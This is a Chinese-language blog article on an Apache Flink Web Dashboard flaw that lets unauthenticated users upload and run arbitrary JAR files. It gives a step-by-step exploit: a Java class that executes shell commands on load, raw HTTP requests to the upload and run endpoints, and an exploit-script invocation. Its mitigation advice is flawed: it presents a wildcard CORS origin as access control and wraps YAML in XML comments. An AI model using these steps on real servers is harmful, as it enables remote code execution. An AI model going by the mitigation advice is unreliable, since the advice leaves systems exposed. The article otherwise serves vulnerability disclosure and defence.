插件窝 干货文章 apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

漏洞 Flink 上传 Jar 530    来源:    2025-04-25

Apache Flink 任意Jar包上传导致远程代码执行漏洞分析

漏洞概述

Apache Flink 是一个分布式流处理框架,在其Web管理界面中存在一个高危漏洞,允许攻击者通过上传恶意Jar包实现远程代码执行(RCE)。这个漏洞主要影响Flink的Web Dashboard组件。

漏洞原理

Flink的Web界面提供了上传Jar包并执行的功能,设计初衷是方便用户提交作业。但由于缺乏足够的权限控制和文件类型校验,攻击者可以:

  1. 无需认证直接访问上传接口
  2. 上传任意Jar文件(包括恶意构造的Jar包)
  3. 通过提交作业触发Jar包中恶意代码的执行

漏洞复现示例

环境准备

  • 受影响的Flink版本:1.11.0-1.11.2, 1.9.0-1.9.2, 1.10.0-1.10.1
  • 测试环境:Apache Flink 1.11.2

攻击步骤

  1. 构造恶意Jar包

创建一个包含恶意代码的Java项目,例如:

public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe"); // Windows
            // 或 Runtime.getRuntime().exec("/bin/bash -c 'touch /tmp/pwned'"); // Linux
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译打包为Jar文件:evil.jar

  1. 上传Jar包

向Flink Web界面发送POST请求:

POST /jars/upload HTTP/1.1
Host: target:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabc123

------WebKitFormBoundaryabc123
Content-Disposition: form-data; name="jarfile"; filename="evil.jar"
Content-Type: application/octet-stream

[恶意Jar文件内容]
------WebKitFormBoundaryabc123--
  1. 触发执行

获取上传的Jar包ID后,提交作业执行:

POST /jars/:jarid/run HTTP/1.1
Host: target:8081
Content-Type: application/json

{
  "entryClass": "EvilClass",
  "programArgs": ""
}

实际利用工具

可以使用现成的漏洞利用工具如:

python flink-rce.py http://target:8081 /path/to/evil.jar

漏洞修复方案

  1. 官方补丁

    • 升级到Flink 1.11.3或更高版本
    • 升级到Flink 1.12.0或更高版本
  2. 临时缓解措施

    <!-- 在flink-conf.yaml中禁用Web上传功能 -->
    web.upload.enabled: false
    
    <!-- 或配置访问控制 -->
    web.access-control-allow-origin: "*"
    web.access-control-allow-headers: "origin, content-type, accept"
    
  3. 网络层防护

    • 限制Web界面的访问IP
    • 使用反向代理添加认证层

漏洞检测方法

  1. 检查Flink版本是否在受影响范围内
  2. 尝试访问/jars/upload接口,验证是否存在未授权访问
  3. 使用漏洞扫描工具检测

总结

此漏洞由于Flink Web界面缺乏严格的权限控制和文件校验机制,导致攻击者可以上传并执行任意Jar包,危害性极高。建议所有使用Flink的企业立即检查并升级到安全版本。